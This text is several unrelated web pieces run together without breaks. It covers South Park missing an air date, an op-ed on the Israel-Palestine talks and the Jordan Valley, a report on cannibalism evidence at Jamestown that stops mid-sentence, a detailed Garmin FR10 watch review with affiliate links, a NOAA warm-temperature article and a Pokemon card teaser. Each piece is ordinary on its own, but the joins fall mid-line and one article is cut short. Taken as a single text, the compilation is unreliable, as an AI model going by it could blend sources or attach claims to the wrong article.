Comedy Central will instead be airing an encore of “Scott Tenorman Must Die” tonight, and “Goth Kids 3” will air next Wednesday. Ironically, the production switched up its schedule this year in order to lessen the stress on Parker and Stone. Traditionally, each season was broken up into two batches of 7 episodes that were produced and aired in the spring and fall, making the duo go through the rigorous process twice each season. This year, the 17th season is only comprised of 10 episodes that are produced and will air straight through.
Missing tonight’s deadline is not the end of the world, and as Parker said, this was bound to happen at some point; it’s a miracle they made it this long without missing a deadline. Hopefully “Goth Kids 3: Dawn of the Posers” will be worth the wait when it airs next week. In the meantime, enjoy Cartman being classically terrible tonight in “Scott Tenorman Must Die.” If you’ve never seen The Making of South Park: 6 Days to Air, I highly suggest you check it out.This article originally appeared at LobeLog
There is an odd sort of atmosphere today around the soon-to-fail Israel-Palestine talks. A dramatic gesture by the United States, presenting its own security plans to both Israel and the Palestinians, has engendered mostly yawns. Yet the events of recent days have clarified the likely results of these talks, despite the ongoing secrecy around them.
Secretary of State John Kerry has apparently proposed that Israel agree to abandon the Jordan Valley (constituting some 20% of the West Bank and situated in Area C, which falls under complete Israeli control under the current arrangement) in stages over an extended period of time and subject to the “good behavior” of the Palestinians. The current plan seems to be that Israeli forces would remain in the Jordan Valley for ten years while Palestinian forces are “trained.”
Not surprisingly, the Palestinians, including PA President Mahmoud Abbas disapprove of this idea. But they do so in lukewarm terms, not wanting to offend Kerry, with the hope that when the April deadline for the current round of talks rolls around that the Palestinian side will not, as it was in 2000, be portrayed as the party who refused peace. Still, as former US President Jimmy Carter once told me, a continued Israeli presence in the Jordan Valley is unacceptable to the Palestinians. Indeed, it is impossible to say that an occupation has ended when the occupying army is still there. That should be obvious.
But that’s apparently not the case for Kerry and President Barack Obama. There should be no confusion on this point: however much the US administration has shifted its Mideast position regarding Iran and the broader Arab world, nothing has changed with regard to the occupation. The friction between Israeli Prime Minister Benjamin Netanyahu and the Obama administration can obscure this reality, but a lot of that friction is based on Netanyahu’s frustration that the United States will not follow his regional designs. With regard to the Palestinians, the rhetoric may be different, but the actions of both Israel and the United States on the ground in the real world are little different than they have been for twenty years.
The Jordan Valley issue has been a known point of contention all along. Kerry and Obama have insisted that matters like this one can be worked out, but Kerry’s proposed solution is simply the Israeli position rehashed. Netanyahu objects to Kerry’s proposal simply because he wants the Jordan Valley to be part of Israel in any final agreement. That is not workable, but a long term Israeli presence that can easily be extended — all that has to happen is the Palestinians need to be declared “not ready” at the end of ten years — effectively accomplishes the same thing, with Israel still controlling the territory, although they might not be able to build more settlements there for some time.
Palestinian forces have already been trained by the US, and even Israel agrees that has worked well, so this insistence on more training is absurd. But the real problem here is more fundamental and points to exactly how we will know that the United States is serious about brokering a permanent agreement between Israel and the Palestinians, if they can ever reach that stage.
As many critics of US policy in Israel-Palestine and the role of the Israel lobby in creating that policy have pointed out, a US President is capable of taking on the lobby and winning, but it involves a big political fight and expending a lot of political capital. This has happened in recent weeks with regard to Iran — the Lobby has backed off. When an administration wants to fight that battle for resolving the issue of the occupation, it will do so by changing the terms of the discussion. Right now, as it has been for decades, the occupation is approached in Washington as a security issue for Israel. In reality, Israel is the regional superpower, both militarily and economically, while the Palestinians have no way at all to defend themselves. When the occupation is the priority and is treated as intolerable, then the discourse can be centered around security for all within the framework of ending the occupation rather than being a security issue within which perhaps there is some way to end the occupation.
Obama and Kerry probably know this, and have chosen to work within the existing framework and just do the best they can under those conditions. They must also know that this approach will likely fail, but the very effort will augment their efforts regarding Iran and the general reorientation away from involvement in any of the other current and brewing conflicts in the region.
The reason the United States will not engage in that political battle touches on the myths that are so often heard about the Israel-Palestine conflict; particularly the one that tells us that resolving that conflict is a “US national security interest.” That is somewhat true, but it is a far less urgent concern than ratcheting down the conflict with Iran, for instance, or extricating the United States from the regional conflicts that our other “dear friend” Saudi Arabia is so intimately involved in.
Both the rapprochement with Iran and broader regional shifts offer clear benefits to the United States. In the wake of the Iraq debacle, they go a long way to ensure that such an enormous expense in blood, capital, and regional stability doesn’t happen again. They also help boost the potential for US engagement in trade and diplomacy throughout the region — engagement with Iran is a huge boon toward that goal while staying away from regional conflicts. Continuing to work with whomever is in power also allows the United States to protect future relationships with these states, rather than with only the current regimes. Threats by the Saudis to shift their business to Russia or China are empty. Neither of those countries have anything more than the smallest fraction of money and military assistance the US can and will continue to offer.
But the Palestinian issue, despite its higher profile, offers little to entice a US president to go to war politically. No one in the Muslim world will suddenly forget the decades of US support for Israel’s occupation. There are no obvious economic benefits to finally addressing the legitimate claims of the Palestinians. The military benefits are mostly the removal of some obstacles to US operations, the sort of thing David Petraeus got in so much trouble for pointing out when he said, in testimony before Congress, “…The conflict foments anti-American sentiment, due to a perception of U.S. favoritism for Israel. Arab anger over the Palestinian question limits the strength and depth of U.S. partnerships with governments and peoples in the AOR and weakens the legitimacy of moderate regimes in the Arab world. Meanwhile, al-Qaeda and other militant groups exploit that anger to mobilize support.”
So, yes, this issue could be addressed, but it’s a lot less potentially beneficial than the positive results of other policy shifts Obama is pursuing, and it would entail a considerably bigger political battle. So, it’s not going to happen. Indeed, the Palestinian issue is probably being pushed now by Washington in order to manufacture a payoff to Netanyahu for his acquiescence to real US priorities.
The path to resolving the Israel-Palestine conflict has been clear for some time. The Palestinians need to abandon their dependence on the United States, which will not ever deliver the goods. They need to pursue an international strategy that creates real political pressure on Israel. The ground is fertile — Israel’s obvious unwillingness to abandon the key territories on the West Bank, well beyond the major settlement blocs, and its refusal this past weekend to permit Holland to provide an electronic scanner that would have allowed Palestinians in Gaza to export goods without putting Israeli security at risk have exposed the hollowness of Israel’s security arguments. Israel’s actions are not about security, but about power, and this fact is something the Palestinians and their supporters around the world can exploit. It can also be used by true friends of Israel who recognize that Israel’s security is at risk not because of Iranian threats that never existed (see Juan Cole’s excellent explanation of that here) or some small bands of Palestinian militants, but by Israel’s continued refusal to compromise.
Europe seems to be taking some steps toward reorienting the politics around the occupation to create the incentives Israel needs to change its policies. The Palestinians need to follow their lead, as do the many supporters of a just peace throughout the world, including in Israel. Waiting for the US to deliver the goods is more futile than waiting for the Messiah.
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AdvertisementsMedia playback is unsupported on your device Media caption "The evidence is absolutely consistent with dismemberment and de-fleshing of this body" - Doug Owsley, forensic anthropologist
Newly discovered human bones prove the first permanent English settlers in North America turned to cannibalism over the cruel winter of 1609-10, US researchers have said.
Scientists found unusual cuts consistent with butchering for meat on human bones dumped in a rubbish pit.
The four-century-old skull and tibia of a teenage girl in James Fort, Virginia, were excavated from the dump last year.
James Fort, founded in 1607, was the earliest part of the Jamestown colony.
'Starving Time'
Image caption Researchers fashioned a three-dimension replica of the girl's face
"The evidence is absolutely consistent with dismemberment and de-fleshing of this body," said Doug Owsley, a forensic anthropologist at the Smithsonian National Museum of Natural History in Washington DC.
Written documents had previously suggested the desperate colonists resorted to cannibalism - but the discovery of the 14-year-old girl's bones offers the first scientific proof.
Smithsonian researchers believe the dead child became food for a community struggling to survive the harsh winter of 1609-10, known to historians as the Starving Time.
"There were numerous chops and cuts - chops to the forehead, chops to the back of the skull and also a puncture to the left side of the head that was used to essentially pry off that side," Dr Owsley said. "The purpose was to extract the brain."
The marks also indicate that the tongue and facial tissue were removed.
Jamestown: America's First Colony Considered America's first permanent English colony
Established in 1607, 13 years before the Pilgrims landed at Plymouth Rock
Named after King James, who sponsored the for-profit Virginia Company of London
Capt John Smith, who took over leadership of the colony in 1608, established a working relationship with the native Powhatan tribe
After Smith returned to England in the autumn of 1609, the Starving Times began Source: The Jamestown-Yorktown Foundation.
"The clear intent was to remove the facial tissue and the brain for consumption," he said. "These people were in dire circumstances. So any flesh that was available would have been used."
The same flesh taken from animals would have been considered a delicacy in the 17th Century. Hogs' heads in particular featured prominently in recipes from the period.
The cuts to the girl's bones also indicate the work was hesitant - whoever performed the dismemberment was not a skilled butcher of animals.
It is also possible the ersatz butcher was a woman, as they made up the majority of the fort's inhabitants.
How the girl died is unknown, but the assault on her body would have taken place very soon afterwards.
Image caption The original colony survived, though starvation depleted its ranks to 60 people
"The attempt to [remove] the brain is something you would need to do very quickly because brains do not preserve well," Dr Owsley said.
Dr Owsley worked closely with chief archaeologist William Kelso of the Jamestown Rediscovery Project. Dr Kelso discovered the girl's bones last year during excavations at James Fort.
Under siege
Little is known about the victim apart from her age and the fact she was English. Her origin has been confirmed by comparative studies on bones in Cambridge.
Further analysis indicates she was at one time well-nourished and ate a lot of meat, a diet consistent with richer classes.
Researchers also have a sense of what she looked like thanks to digital and forensic facial reconstruction. The fragmented skull was scanned, with the digital information providing a virtual model from which to fashion a three-dimensional replica.
Image caption A painting of Jamestown circa 1610, a period known as the Starving Time
The Starving Time was one |
The Garmin FR10 is the first GPS watch from Garmin using a new half-sized box. Given how much space the other ones took up, this likely saves them considerably on shipping costs from the factories in Asia.
Inside you’ll find simply the unit and the USB charging/downloading cable. It’s likely that this was a non-final box, so I suspect you’ll also find some additional paper junk down the line. But for now – you’ve got the two things you care about.
First up is the watch itself, which comes charged though turned off. There’s three versions – the black/red one below, the green/white one (also below), and a pink version. No pink version below.
Then we’ve got the small USB charging cable. There’s no additional power block for the wall, so you’ll need to find your own USB port somewhere. The USB charging cable is what’s also used to download data from the unit and upload it to Garmin Connect:
Now, here’s an important item to note – the colors (flavors) are actually different sizes. Yup, seriously. Check out the watch bands and size of the face itself:
The green watch is a touch bit smaller – enough such that the charging clips won’t match. For us (me and my wife), that’s a pain in the butt because we often have similar watch models and therefore on trips only have to worry about one of us carrying a charger.
The USB charger attaches via a clip that snaps onto the back of the watch. Garmin continues to improve in this area. While this isn’t quite as secure as the most secure charging clip I’ve seen from Garmin (the new Fenix clip) – it’s still pretty solid. Definitely would survive being tied onto a ceiling fan and swung around.
With everything unpacked, it’s time to do a quick size comparison before moving into actual use.
Size Comparisons:
As always, I like to put together sizing comparison with other units in the same rough price range. In this case, I’m looking at watches between $100 and about $130 that seemed appropriate. All but the Garmin FR70 have GPS. As a general reminder, these are all watches I’ve bought – so if it’s not there in the lineup, it’s likely because I don’t have one and haven’t reviewed it. Additionally, there’s only so much room on that rolling pin.
From left to right: Garmin FR70, Garmin FR10 (green/women’s), Garmin FR10 (black/men’s), Timex Marathon GPS, Soleus 2.0 (note: Soleus 1.0 is exact same casing, thus identical in size except colors are changed).
Here’s a look at the thickness of each one. You can see that in general they get slightly thicker from left to right.
And then again, inverted on the counter – so you can see the air gaps under each one.
Many times I’m asked for what the watch sizing looks like on a small female – especially one with small wrists. Thus, ask and you shall receive. On her other wrist she’s wearing the Garmin FR310XT – which is her watch she normally runs with.
As you can see, the green watch is a fair bit smaller. Though she notes she doesn’t mind the larger FR310XT size and simply has gotten used to it. But she’s more of a competitive athlete and wants the additional data.
Overall I think Garmin did a good job at decreasing the size here for the women’s watch. Both of us would have probably preferred it be slightly wider if they could have made it thinner – but this certainly isn’t bad given the budget nature of it.
Update: April 2013: Garmin has also now added an orange version (Men’s larger size), as well as a purple and neutral version (Women’s smaller size). I took two photos of these and placed them next to their other similarly sized siblings:
Running:
To start off with your run, you’ll simply tap the upper right button – which starts the GPS satellite acquisition phase. The first time this may take a minute or two, but as long as you’re starting in roughly the same place next time, it’ll be within about 15-30 seconds.
After that, you’re pretty much ready to run! To do so, simply tap the start button again and it’ll start recording.
You can configure two data pages on the FR10, each with up to two pieces (tied together) of information on them.
The choices are as follows (they come in pairs, you can’t get one without the other, pick two pairs):
– Time/Distance
– Time/Pace
– Time/Calories
– Pace/Distance
– Pace/Calories
– Distance/Calories
Also, Pace/Speed can be displayed in one of the following formats (applies to all pace displays above, you don’t get to mix and match):
– Pace
– Lap Pace
– Avgerage Pace
– Speed
– Lap Speed
– Average Speed
(Note: Updated Sept 10th, 2013 with Average Pace additions)
So above, you’d choose one line which then puts the two data metrics on a single page. And then choose another line for your second page. Two pages total. No more, no less.
While running, you’ll simply press the lower right button to scroll between the different data pages. Additionally, if you’ve got some of the other functions enabled (like Virtual Pacer) – that’ll show up as well as an additional data field. But more on that in a minute. Below is what the data fields look like while running:
If you’d like to set a lap (marker/interval) – which triggers a lap being set. You can also set auto-lap, which I’ll go into in detail in a second.
These lap markers are visible in both the device history, as well as uploaded to Garmin Connect.
Virtual Pacer Function:
Virtual Pacer allows you to specify a goal pace (i.e. 7:45/mile) and then the watch will alert you when you’ve gone too fast or too slow.
This feature actually works a bit differently on the Garmin FR10 than the rest of the Garmin lineup of watches. Neither better or worse per se, but a bit more simplified.
First, you’ll go into the Virtual Pacer menu and configure the pace you’d like to set. If you’re in miles mode, it’ll configure it in minutes/mile. If in kilometers, then minutes/kilometer:
Once you’ve started your run, you’ll notice that you have an additional screen that shows your current pace and whether you’re ahead or behind the actual pace. There’s a tiny bit of lag built in (perhaps 5-10 seconds) – but that’s probably a good thing, as I’ll explain in a second.
In addition, if you’re set to display one of the other data pages, then it’ll throw up an alert if you’re ahead/behind pace. As well as beep:
What’s funny here is that I had set this before one of my runs – merely as a way to get pictures for the review and understand how it works – not so much because I wanted to run a 7:45 pace that run. But in reality, the darn thing was so persistent when I got off that pace, that I just didn’t want to hear it any more – so I ended up running a 7:45/mile pace that evening merely so I wouldn’t have to hear it anymore. It was far more persistent and loud than other units. Which I suppose is a good thing.
In an effort to show you what this looks like, I took this video running over the top of a bridge over the Seine. Because this wasn’t a flat bridge, I was slightly uphill at the start and then downhill towards the end – perfect for showing how the Virtual Pacer works:
Garmin Virtual Pacer Function Video
Now, this differs from other Garmin units which show you how far behind/ahead you are (in distance/time). Thus, not quite as much information as those, but also a bit more straightforward. Make sense? Good.
Walk/Run Function:
The walk/Run function is targeted at those who may be using training plans that incorporate walking into the long-distance running – typically for a short period of time like a minute. These plans have become vastly more popular in the last few years.
In the case of the FR10, you’ll configure a run duration (time only), and then a walk duration (time only). The watch will automatically alert you when you reach the end of either duration.
It’ll simply repeat this over and over until you complete the activity.
This functionality was first introduced on the Garmin FR610 (a $400 watch), so I’m happy to see it drop down to their cheapest watch. Given the target audience, I’ve always thought it was odd we haven’t see it in later firmware updates for other mid-range watches (i.e. Garmin FR210) – maybe that’ll change now.
Auto Lap Function:
Auto Lap will automatically set a marker/lap at the end of a given time period – as defined by you. By default if you enable it, it’ll be every 1 mile. These laps then show up later on in history as well as Garmin Connect. Additionally, it’ll alert you during the run as you cross over the threshold of each lap (audibly/visually).
Auto Pause Function:
Auto Pause lets the watch take control of pausing the recording while your waiting to cross at an intersection. Whenever you drop below the speed threshold (roughly a slow walk), the unit will automatically pause the timer/recording.
This is primarily useful if you’re doing a lot of city running with a fair number of stoplights/signs. Once you start walking fast and/or running again – it’ll kick back on and resume recording.
I don’t tend to use this myself, as I’ve gotten fairly good at just pausing manually when I want it to (by pressing the upper right button on the unit), and then resuming manually. To each their own though.
Cycling:
The FR10 supports cycling…but only just barely. Like a kid eating only about two bites of his vegetables. It supports cycling by merely supporting the ability for you to change the velocity metric from ‘Pace’ (i.e. 7:45/mile) to ‘Speed’ (i.e. 20MPH).
That’s it.
It won’t record your workouts as ‘bikes’ for Garmin Connect to pickup, nor will it even tell you ‘Bike completed’ (it says ‘Run completed’) at the end. Of course, you can easily change the workout from run to bike later in Garmin Connect with a simple dropdown on the site.
Now, to be fair – this is no different than other units in this price category. And additionally, all of the functions noted above in the running section still work just fine in cycling mode. It’s just that for example, you can’t specify a Virtual Partner ‘Speed’ of 15MPH, rather, you’d have to enter it in as 4:00 min/mile.
Still, if you cycle occasionally – or just want to use it around town, it works just fine for recording all your cycling data without issue. And, it’ll easily upload to Garmin Connect for later analysis. Since it records all the same GPS data as a watch four times it’s cost – it doesn’t really matter as much that it mis-categorizes it.
Note that the unit will NOT work with any ANT+ bike sensors (speed/cadence), nor any ANT+ power meters, nor any Polar W.I.N.D. cycling sensors. Really, no external sensors at all. Just wanted to clarify that point.
Waterproofing/Swimming:
Finally. Holy mother of cowbells finally. Someone at Garmin finally got it. They grasped that a GPS watch costing hundreds of dollars (or roughly a hundred in this case) should have the same waterproofing as one costing $15 at Walmart. As they say in New Zealand: Give that man (or woman) a chocolate fish!
And thus, the very first running specific GPS watch from Garmin to include legit waterproofing. None of this IPX7 garbage that they use on watches costing four times as much. Ironically enough, introduced on their cheapest GPS running watch.
(You’re noticing the waterproofing to 50 meters deep)
This means it’s completely OK to swim with – something we tested out at the pool last week by swimming with it on our wrists the entire session. And happily, it worked just fine and has been working since.
This also means that you’re completely cool with using it in the rain or other watery adventures – so long as you’re not below 50 meters. Now the real important part of this isn’t actually that you can swim with it. Rather, it’s that it stands a far better chance of day to day water survival – an issue with the IPX7 rated watches that while rated fine for use in the rain, tended to have issues more than those with higher ratings.
Of course, in the pool it’s doing nothing more than hanging out in ‘Indoor mode’ – so only tracking time as a lap meter. But still, better than drowning (the watch, not you).
Indoor Mode:
Speaking of indoor mode, I thought I’d briefly mention it. If you’re hanging out inside and just want a simple timer with lap/interval functional – and don’t care about GPS, then you can go ahead and just tap the lower right button when it starts searching for GPS, which will bring it to this screen:
From there, simply tap ‘No’ to have it go to the timer start page. Note that you won’t get calories here, or distance, or pace, or anything else other than time. Since there’s no ANT+ sensor support, you can’t get other data streams to aid in those metrics. Make sense?
Backlight:
The Garmin FR10 includes a basic backlight on the unit. I wouldn’t exactly say that the backlight on the FR10 is terribly brilliant in comparison to some of the other Garmin watches (like the FR910XT). But it gets the job done and is more than enough.
You can turn on the backlight by tapping the upper left corner button, which then turns it on for 10 seconds, before turning it off. You cannot set the unit to leave the backlight on.
You cannot adjust contrast or brightness on the watch either.
Accuracy/GPS Instant Pace Stability:
First, let’s start with GPS instant pace stability. This is how stable the instant pace feature is on the watch when you run at a near-perfect constant pace. Does the GPS show that same constant pace? Or does it waver like a flag in a hurricane?
It seems as over the past 1-2 years, GPS instant pace display across a number of companies has gone down the crapper, so earlier this summer I started doing videos on all units that I’m reviewing – letting you decide if it’s crap or not.
I think it’s fair to say after you see the video below – that you’d likely agree the FR10 is the most stable instant pace watch ever seen. Heck, it might be so stable you’d think it’s simply stuck on the numbers. But I’m really impressed. Check out the video:
Garmin FR10 Instant Pace example
Which leaves me with one question/comment/statement: Garmin, please take whichever developer fixed this and put him on a solo-project dedicated to fixing it on every other watch of yours. Really, a lot of people would be happier. Like crazy happier.
As for accuracy – we were generally satisfied with that too. I’ve taken it out for a few runs, including one with The Girl, where we both ran together and both with two watches. I ran with the Polar RC3 beta watch, she ran with her trusty FR310XT, and we both ran with FR10’s. At the end of the run, here’s what we say:
In short, the numbers were:
Garmin FR10 Green: 8.54 (The Girl)
Garmin FR310XT: 8.54 (The Girl)
Garmin FR10 Black: 8.49 (Me)
Polar RC3: 8.37 (Me)
The Polar seemed to have trouble with two tunnels into the Louvre we took, where it didn’t seem to record the extra distance there both ways – as it tracked perfectly otherwise. This may be a beta bug, I’m waiting for the final production unit.
On another run, the numbers were almost spot on between my two units (9.62 vs 9.64 miles):
Meanwhile, The Girl found that the FR10 struggled a bit in one specific section with very tight typical European style alley/small street between stone buildings (one-car width alley with 5-6 story buildings) – where the FR310XT tracked just fine – resulting in a bit of a discrepancy (8.23 for the FR10 vs 8.43 with the FR310XT):
Overall however, we’ve found the unit to track well in most normal circumstances, enough that I’m just not worried about accuracy on the unit.
History:
The unit has a history menu on it which shows you past runs, as well as PR’s related to time and pace for your workouts.
When you dive in you can view a given workout, including seeing all of its laps and splits for each lap.
Then, it’ll show you PR’s such as your longest run, fastest mile, fastest 5K, fastest 10K and other bits of running trivia. However, they won’t pull from your existing Garmin Connect account – so it’ll only be stuff on this particular watch. Still, a nice nod to what we’ve seen on other watches like the Nike+ GPS that does this as well.
I did see a few quirks in the history menu with duplicate days, which I suspect is that it just enumerates every activity separately on a given day, as opposed to grouping all (for example) Friday workouts. Kinda odd, but a minor annoyance more than anything.
Use as a day to day watch:
The Garmin FR10 works as a day to day watch as well. While the unit only has 5 hours of active battery life for activities, it will stay in standby (time displaying) mode for five weeks. Meaning that if you run with it a few hours each week, it’ll easily stay in normal watch mode the rest of the time.
The watch will automatically display the time based on your current time zone, which is retrieved from GPS when you turn on the GPS receiver (to start an activity).
In addition to displaying the time, you can also configure a single alarm.
For display of time, you can choose either 12 hour or 24 hours. You cannot choose to display seconds while on the main watch screen – only hour/minutes and Month/Date (i.e. Aug 28).
Various Settings/Configuration Options of Note:
Just to cover a few final items that don’t really fit in any other category:
A) You can change the language to a slew of included languages
B) You can change from metric to statue for distance and pace
C) You can change from 12 hour to 24 hour clock mode (as noted above)
D) You can specify your weight (but not age or height), which then provides very basic calorie calculations, though interestingly as you can see above – they were nearly identical to that of the Polar RC3 doing calorie calculations with the heart rate monitor on. Fairly impressive.
E) You can specify two data pages with two data fields per data. No more, no less. This is not Burger King.
F) That is all.
Downloading and Software:
The Garmin FR10 supports uploading of workouts to Garmin Connect, using the supplied USB charging cable. To start the upload process, merely connect the cable to the watch and plug it into your computer (Mac or PC):
The watch will appear as a USB storage device – just like a USB hard drive/thumb drive.
You can pick the files manually (which are in Garmin’s.FIT file format), or you can simply go to Garmin Connect and let Garmin Communicator (browser plugin) do the searching for you.
From here you’ll click to either upload all new activities – or select specific ones. In my case, I usually just tell it new ones only. Within a few seconds the upload process is complete, and you can see the list of activities:
To dive into a given activity, simply click ‘View Details’, which brings you to the main page for that given activity. Below you can see my Saturday evening run.
Along the left side are the high level stats for the run – from overall time, distance and pace – to elevation information. Elevation information on the FR10 comes via the GPS track. Meaning that it isn’t actually done/measured in the watch – but rather Garmin Connect figures it out based on known elevation data, by using the route.
On the right side of the activity page is further details about your run. First up is the map. You can switch between Google or Bing as a provider, and then change to the various mapping formats that each service offers (satellite, hybrid, street map, etc…).
Continuing down the page is the pace graph, which shows your pace over the course of the run/bike.
You can click over a given portion to see the pace, as well as highlight a section to dive into just that piece:
Now what’s interesting here is that after the pace graph there’s actually no further graphs. Typically there’s also an elevation graph here as well – but for reasons that are somewhat unclear to me that’s been turned off for the FR10 (yet you’ll still see total elevation ascent/descent on the left).
Next up is the splits tab, which allows you to see split information for each of the laps that you either pressed, or had auto-set:
Lastly, you can click on the ‘Player’ tab to click a play button and have your run/bike replayed for you. It’ll show your location on the map, and your corresponding speed up above, as well as the elevation at that point in time. This is why it’s a bit puzzling to me that the elevation map isn’t available on the other page like normal.
In addition to single-activity analysis, you can also dive into a full calendar of all your previous activities, some basic activity graphing/reporting, and then also health graphing/reporting for connected weight devices (like the Tanita BC-1000 scale).
Now – what’s probably the most useful piece of Garmin Connect isn’t actually the activity logging itself – but the ability to search other peoples activities for routes, in particular, when you’re travelling outside your home turf. I’ve used this countless times to find running routes that might otherwise be in the middle of nowhere. But since there’s a gazillion Garmin users, and thus a gazillion people uploading runs – you’re pretty much bound to find a run somewhere.
Additionally, the PR (Personal Records) data that shows up on the watch also shows up on Garmin Connect. Though, I find it far from reliable. For example, it can’t seem to find any of my marathons, nor my 37-minute 10K PR or tons of 5K’s in the mid-upper teens. And why would it show the furthest distance as 9.6 miles when there’s clearly a half-marathon above it and dozens if not 50+ 20-miler runs? Sigh. As an FYI, cycling was just introduced yesterday as well.
At the end of the day Garmin Connect is a good basic platform for sports activity analysis. It’s not really ideal for folks wanting more detail, or lots of analytic capabilities. But at the same time, the FR10 simply isn’t a watch too deep on details itself. Now, the FR10 does record a fair number of details, so you can go ahead and load your FR10 file into other apps (i.e. TrainingPeaks or Sport Tracks) and take it from there. Also, sometimes Garmin Connect can be a little bit buggy – but in general, I find it no more better or worse than other platforms out there from a bug quantity standpoint.
Accessories:
In short, the Garmin FR10 doesn’t really support or have any accessories. Since the unit doesn’t support ANT+ sensors, about the only thing you can buy for the watch is the standard Garmin Forerunner bike mount, which usually costs about $10.
This allows you to wrap it around the handlebars of a bike and then wrap the watch around it as opposed to your wrist.
That’s about it on the accessories front!
Competitive Comparison Chart:
The Garmin FR10 clearly takes on the other ~$100 GPS watches in the market today. Head to head many of the core features and functionality aspects are very close. It’s the details that make the difference. Here’s a breakdown of where things stand (click to expand).
In my opinion, the Garmin FR10 is actually at a bit of an odd price point. Had Garmin wanted to sweep the category, they would have sold it for $100 – like many of the other units. Instead though, they priced it $30 higher – which conflicts with some other GPS units (namely the Timex Global Trainer) at $130ish. Further, just $20 more and you’ve got a wealth of options in the $150 to $170 range – all with vastly more functionality (the TGT at $130 is also exponentially more advanced, but significantly larger).
(Note: I included the Soleus 2.0 in there since the price is often down in the $120 range, despite a retail price of $150)
The question is – can they get people to spend $30 more from $99 to $129? At the moment, I think the answer comes down to four additional features that the FR10 has that the other $100 watches don’t: Virtual Pacer, Run/Walk, Download History, and Auto Pause. The first two are most heavily targeted at runners newer to the sport, and thus runners most likely to purchase this watch. In short, would you pay $7.50 per feature over the $99 watches?
Now, I think if Timex were to come along and offer a download cable for their $99 Marathon GPS and have it upload to TrainingPeaks – it’d be a fairly competitive situation given the depth of TrainingPeaks compared to Garmin Connect. Meanwhile, the current download option on the Soleus 2.0 just isn’t competitive with anything given how horrible the software is.
Oh, and if you’re looking at the New Balance GPS Runner watch – it’s the same watch as the Soleus 1.0. Really, exact same watch, just they scratched off Soleus and put New Balance. So anything that applies to that, applies to the New Balance. Make sense?
Pros and Cons:
Here’s the quick and dirty version of what I think of the watch (for those that made it this far in scrolling):
Pros:
– Inexpensive, cheapest GPS watch Garmin’s made
– Legit waterproofing, up to 50 meters
– Easy to use
– Virtual Pacer, Run/Walk and Auto Pause included (usually on higher end watches)
– Garmin Connect upload capability
– Very very small, especially the women’s version
Cons:
– Two different sized charging docs could be pain for couples
– Only one user profile per watch (for calorie info)
– No ANT+ sensor connectivity for heart rate or indoor treadmills
– Cycling mode is so-so at best
Summary:
Overall I think the FR10 makes for a solid GPS watch for someone wanting to spend around $100. At that price point you’ll sacrifice functionality (even over cell phone apps), but you will gain durability and waterproofing. The Garmin Connect software suite is adequate for most beginner to intermediate runners, or advanced runners that don’t care about the analytics side as much.
At that price point ($100-$130) it clearly delivers more than any other GPS integrated watch out there, and I think the extra $30 over the $99 watches is worth it for the download, virtual pacer, and run/walk features.
Expect to see the Garmin FR10 in the Garmin store in Chicago near-immediately, and then in your local running stores sometime this fall. Given the units are done and the firmware complete – I don’t think you’ll see a delay like other watches. Just my guess.
Found this review useful? Or just want a sweet deal?
Hopefully you found this review useful. At the end of the day, I’m an athlete just like you looking for the most detail possible on a new purchase – so my review is written from the standpoint of how I used the device. The reviews generally take a lot of hours to put together, so it’s a fair bit of work (and labor of love). As you probably noticed by looking below, I also take time to answer all the questions posted in the comments – and there’s quite a bit of detail in there as well.
I’ve partnered with Clever Training to offer all DC Rainmaker readers exclusive benefits on all products purchased. You can read more about the benefits of this partnership here. You can pickup the FR10 through Clever Training using the link below. By doing so, you not only support the site (and all the work I do here) – but you also get to enjoy the significant partnership benefits that are just for DC Rainmaker readers. And, since this item is more than $75, you get free US shipping as well.
Garmin FR10 Lime Green (smaller women’s size) – Change drop-down to show color
Garmin FR10 Bright Pink (smaller women’s size) – Change drop-down to show color
Garmin FR10 Purple (smaller women’s size) – Change drop-down to show color
Garmin FR10 Silver/Black (smaller women’s size) – Change drop-down to show color
Garmin FR10 Red/Black (slightly larger, men’s variant) – Change drop-down to show color
Garmin FR10 Orange (slightly larger, men’s variant) – Change drop-down to show color
Additionally, you can also use Amazon to purchase the unit (all colors shown after clicking through to the left) or accessories (though, no discount). Or, anything else you pickup on Amazon helps support the site as well (socks, laundry detergent, cowbells). If you’re outside the US, I’ve got links to all of the major individual country Amazon stores on the sidebar towards the top.
As you’ve seen throughout the review there are numerous compatible accessories for the unit. I’ve consolidated them all into the below chart, with additional information (full posts) available on some of the accessories to the far right. Also, everything here is verified by me – so if it’s on the list, you’ll know it’ll work. And as you can see, I mix and match accessories based on compatibility – so if a compatible accessory is available at a lower price below, you can grab that instead.
Thanks for reading! And as always, feel free to post comments or questions in the comments section below, I’ll be happy to try and answer them as quickly as possible. And lastly, if you felt this review was useful – I always appreciate feedback in the comments below. Thanks!
Finally, I’ve written up a ton of helpful guides around using most of the major fitness devices, which you may find useful in getting started with the devices. These guides are all listed on this page here.If you were born after February 1985, you’ve never lived through a month of below average global temperatures. According to new data from the National Oceanic and Atmospheric Administration, in June the earth’s surface was warmer than the 20th century average for the month for the 340th time in a row. It was the fifth hottest June since 1918, NOAA said. (An analysis from NASA says the month was the second hottest since 1880.)
An entire generation has grown up during this streak of hot weather, which Philip Bump, who now writes for the Atlantic Wire, pointed out in the online environmental magazine Grist last year. The last time the global average of land and ocean temperatures was below long-term levels was in February 1985. The United Nations reported earlier in July that more countries have seen record-breaking temperatures in the first decade of this century than ever before. This month, northern Canada, northwestern Russia, southern Japan, the Philippines, southwestern China, and central-southern Africa all saw unprecedented temperatures for the month, according to NOAA.
Still, it wasn’t hot everywhere. Spain saw its coolest June sine 1997. Temperatures in the UK were also lower, about 0.2 degrees celsius (0.4 degrees fahrenheit) below than the long-term average for the month. (A slew of retailers, including spanish clothing company Inditex, said rainy and cool summer weather in Europe was to blame for slower sales for the quarter.)
National Oceanic and Atmospheric Administration Red indicates the warmest temperatures on record. Pink signifies temperatures “much warmer than average” and light pink means “warmer than average,” according to NOAA.
National Oceanic and Atmospheric Administration
We’ve already seen some of the effects of a warmer world. Since the early 20th century, the average world temperature has risen by about 0.8 degrees celsius, or 1.4 degrees fahrenheit. Researchers have recorded higher rates of hospitalization and crime. Thanks to melting ice caps in the Arctic, shipping has quadrupled just in the the last year. And last year, warmer temperatures and higher sea levels arguably turned a hurricane that hit the eastern US into a “frankenstorm.”
The United Nations has warned that the average temperature could increase by 4 degrees celsius above pre-industrial levels by 2100, which some researchers say will wreak further havoc, causing extreme temperatures, lower crop yields, damage to ocean ecosystems and human health risks.The official Pokemon Card website has revealed Yungoos and Gumshoos-GX from Collection Sun! They also revealed clearer images of some previously revealed cards, as you can see below.
